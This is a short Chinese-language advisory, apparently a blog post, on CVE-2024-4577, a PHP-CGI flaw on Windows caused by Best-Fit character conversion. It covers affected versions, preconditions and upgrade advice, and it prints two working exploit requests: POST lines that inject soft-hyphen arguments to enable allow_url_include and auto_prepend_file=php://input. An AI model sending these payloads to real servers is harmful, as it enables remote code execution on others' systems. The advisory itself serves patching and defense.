漏洞描述:
CVE-2024-4577导致漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的。由于Windows系统内字符编码转换的Best-Fit特性导致PHP原本的安全限制被绕过,再加上一些特殊的PHP CGI环境配置导致了这个问题。
影响版本:
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
利用前提:
- 直接用PHP-CGI启动 或者 php-cgi.exe/php.exe 暴露于cgi目录下(例如 /cgi-bin/ )
- 仅影响Windows平台且使用了如下语系(简体中文936/繁体中文950/日文932等)
此漏洞对于环境要求比较苛刻,但是对于使用XAMPP默认配置搭建的PHP Web服务(Windows默认配置部署时,满足以上所有条件)
利用方式1:
通过修改httpd-xampp.conf中注释解开下面这段代码,注释之后需要重启apache服务
POST /index.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1 Host: Content-Type: application/x-www-form-urlencoded
利用方式2
无需任何配置信息修改
POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host:
修复建议:
目前,官方已发布修复建议,建议受影响的用户尽快升级至安全版本。
PHP 8.3 >= 8.3.8
PHP 8.2 >= 8.2.20
PHP 8.1 >= 8.1.29
下载地址:https://www.php.net/downloads.php
还没有评论,来说两句吧...